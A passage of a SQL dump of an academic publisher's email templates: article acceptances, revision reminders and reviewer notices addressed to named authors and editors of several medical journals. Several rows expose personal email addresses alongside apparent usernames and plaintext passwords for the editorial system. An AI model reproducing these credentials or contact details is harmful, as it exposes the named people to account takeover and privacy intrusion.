AND POSTERIOR LONGITUDINAL LIGAMENT OSSIFICATION AS PROGNOSTIC FACTORS IN PATIENTS WITH SPONDYLOTIC CERVICAL MYELOPATHY SUBMITTED TO LAMINOPLASTY</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipjnn-20-4241</b> for the <b>Journal of Neurology and Neuroscience</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','rubidoc@gmail.com',4241,'2020-07-09',75),(1605,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-5003</b><br />\r\n            <br />\r\n            Article Title: <b>The Healing of Lower Limb open fracture from Bacterial Infections by X-Ray</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>saleem</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-10</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','zumersaleem5@gmail.com',5003,'2020-07-10',48),(1606,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4564</b><br />\r\n            <br />\r\n            Article Title: <b>A short review on the current status of coronavirus disease 2019</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Paramanick </b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-10</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','debashishparamanick02@gmail.com',4564,'2020-07-10',48),(1607,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4253</b><br />\r\n            <br />\r\n            Article Title: <b>Exponential Growth Impact of COVID-19 Pandemic-World Scenario, Preventive Measures and Drug Preferences </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>K V</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-10</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','aneesh1098@gmail.com',4253,'2020-07-10',48),(1608,'<p>Ref.:  Ms. No. : <b>ipaom-20-4733</b><br />\r\n<br />\r\nARTICLE TITLE: <b>An overview on managment of Ectropion with medial canthal tendon laxity</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Ammouri</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-4733</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>ali</b><br />\r\npassword: <b>F7A7SuJt</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','fondoski@hotmail.com',4733,'2020-07-10',85),(1609,'<p>Ref.:  Ms. No. : <b>ipaom-20-4636</b><br />\r\n<br />\r\nARTICLE TITLE: <b>RELATIONSHIP BETWEEN VENTRICULOPERITONEAL SHUNT OBSTRUCTION AND INFECTION IN PEDIATRIC PATIENTS WITH HYDROCEPHALUS</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. şahin</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-4636</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>ali</b><br />\r\npassword: <b>knpZoBjP</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','dralishn@gmail.com',4636,'2020-07-10',85),(1610,'<p>Ref.:  Ms. No. : <b>ipaom-20-4226</b><br />\r\n<br />\r\nARTICLE TITLE: <b>A case of COVID-19 pneumonia complicated by pericardial effusion.</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Miminoshvili</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-4226</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>archili</b><br />\r\npassword: <b>Ce0llfmG</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','dr.miminoshvili@gmail.com',4226,'2020-07-10',85),(1611,'<p>Ref.:  Ms. No. : <b>ipaom-20-4194</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Prevalence and Outcome of Tuberculosis Treatment in a Primary Care Center in Karachi</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Jehangir</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-4194</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>dr._fatima</b><br />\r\npassword: <b>d04uXXNa</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','fatima.jehangir@zu.edu.pk',4194,'2020-07-10',85),(1612,'<p>Ref.:  Ms. No. : <b>ipaom-20-4058</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Systemic lupus revealed by pneumonia</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. yousfi</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-4058</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>jaouad</b><br />\r\npassword: <b>YakOmnfg</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','yousfi.medecineinterne@gmail.com',4058,'2020-07-10',85),(1617,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-5089</b><br />\r\n            <br />\r\n            Article Title: <b>Dynamics of Engagement of Social Media in Health Care Industry: a systemic review</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>DWIGHR</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-13</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','leon_ozurumba@yahoo.com',5089,'2020-07-13',48),(1618,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-5092</b><br />\r\n            <br />\r\n            Article Title: <b>OCCUPATIONAL STRESS AND IT&acirc;&euro;&trade;S MANAGEMENT AMONG HEALTH CARE WORKERS IN THE UNIVERSITY OF PORT HARCOURT TEACHING HOSPITAL.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Obga</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-13</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Ogbaamaka409@gmail.com',5092,'2020-07-13',48),(1619,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-5096</b><br />\r\n            <br />\r\n            Article Title: <b>Bacteremia and Sepsis disease caused by halophilic marine Vibrio bacteria.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>shabbir</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-13</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','sarashabbir205@gmail.com',5096,'2020-07-13',48),(1620,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-5104</b><br />\r\n            <br />\r\n            Article Title: <b>Osteomyelitis: Present improvements in pathophysiology and helpful ways </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>naeem</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-13</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','sabeennaeem0@gmail.com',5104,'2020-07-13',48),(1621,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4939</b><br />\r\n            <br />\r\n            Article Title: <b>Factors associated with microalbuminuria in non-diabetic hypertension patients</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Ferreira</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-13</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','emilynutufv@gmail.com',4939,'2020-07-13',48),(1622,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4870</b><br />\r\n            <br />\r\n            Article Title: <b>Disaster management and working with displaced persons</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>YUSUPH ABIODUN</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-13</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Abedex4real@yahoo.com',4870,'2020-07-13',48),(1623,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4969</b><br />\r\n            <br />\r\n            Article Title: <b>Case Report of 78 &acirc;&euro;&ldquo;year-old man with meningitis, Pulmonary Thromboembolism &amp;SARS-Coronavirus-2infection</b><br />\r\n            <br />\r\n            Corresponding Author: <b>zahra Abbaspourrad</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Theodoros </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-4969</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> aslanidis<br />\r\n            <b>Password:</b> qD4MurMN<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','thaslan@hotmail.com',4969,'2020-07-14',85),(1627,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iptb-20-4709</b><br />\r\n            <br />\r\n            Article Title: <b>Visualization of left ventricular subendocardial and free running Purkinje fiber distribution</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Seil Oh</b><br />\r\n            <br />\r\n            Journal Title: <b>Translational Biomedicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>R. Gainetdinov</b><br />\r\n            <br />\r\n            The review for the manuscript <b>iptb-20-4709</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','raul.gainetdinov@iit.it',4709,'2020-07-15',673),(1632,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4608</b><br />\r\n            <br />\r\n            Article Title: <b>Retrospective analysis of operative outcome of appendectomy</b><br />\r\n            <br />\r\n            Corresponding Author: <b>SHARDUL KHADE</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Youssef </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-4608</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> al-tonbary<br />\r\n            <b>Password:</b> 8kU2pAjI<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ytonbary@gmail.com',4608,'2020-07-15',85),(1633,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4575</b><br />\r\n            <br />\r\n            Article Title: <b>Comprehensive review on new approches for manegment of dibeties </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Debashish Paramanick </b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Youssef </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-4575</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> al-tonbary<br />\r\n            <b>Password:</b> 8kU2pAjI<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ytonbary@gmail.com',4575,'2020-07-15',85),(1637,'<p>Ref.:  Ms. No. : <b>IPJUS-20-4251</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Face lifting by suspension sutures </b><br />\r\n<br />\r\nJOURNAL: <b>Journal of Universal Surgery</b><br />\r\n<br />\r\nDear <b>Dr. ALkhawaldeh </b>,<br />\r\n<br />\r\nThe revision of <b>IPJUS-20-4251</b> was expected by <b>20-07-2020</b>.<br />\r\n<br />\r\nYou have been sent <b>two</b> reminder notices.  The last one was sent on <b>09-07-2020</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>shadi</b><br />\r\npassword: <b>1BYEouFQ</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></p>',1,'Author Revision Subsequent Reminder','skhawaldah@hotmail.com',4251,'2020-07-15',319),(1638,'<p>Ref.:  Ms. No. : <b>IPJUS-20-4138</b><br />\r\n<br />\r\nARTICLE TITLE: <b>A Very Rare Cause of Bowel Obstruction in Children: Colocolonic Intussusception</b><br />\r\n<br />\r\nJOURNAL: <b>Journal of Universal Surgery</b><br />\r\n<br />\r\nDear <b>Dr. Baykara</b>,<br />\r\n<br />\r\nThe revision of <b>IPJUS-20-4138</b> was expected by <b>20-07-2020</b>.<br />\r\n<br />\r\nYou have been sent <b>two</b> reminder notices.  The last one was sent on <b>09-07-2020</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>aziz_serhat</b><br />\r\npassword: <b>4Dt2IKTR</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></p>',1,'Author Revision Subsequent Reminder','asbaykara@hotmail.com',4138,'2020-07-15',319),(1639,'<p>Ref.:  Ms. No. : <b>IPJUS-20-4251</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Face lifting by suspension sutures </b><br />\r\n<br />\r\nJOURNAL: <b>Journal of Universal Surgery</b><br />\r\n<br />\r\nDear <b>Dr. ALkhawaldeh </b>,<br />\r\n<br />\r\nThe revision of <b>IPJUS-20-4251</b> was 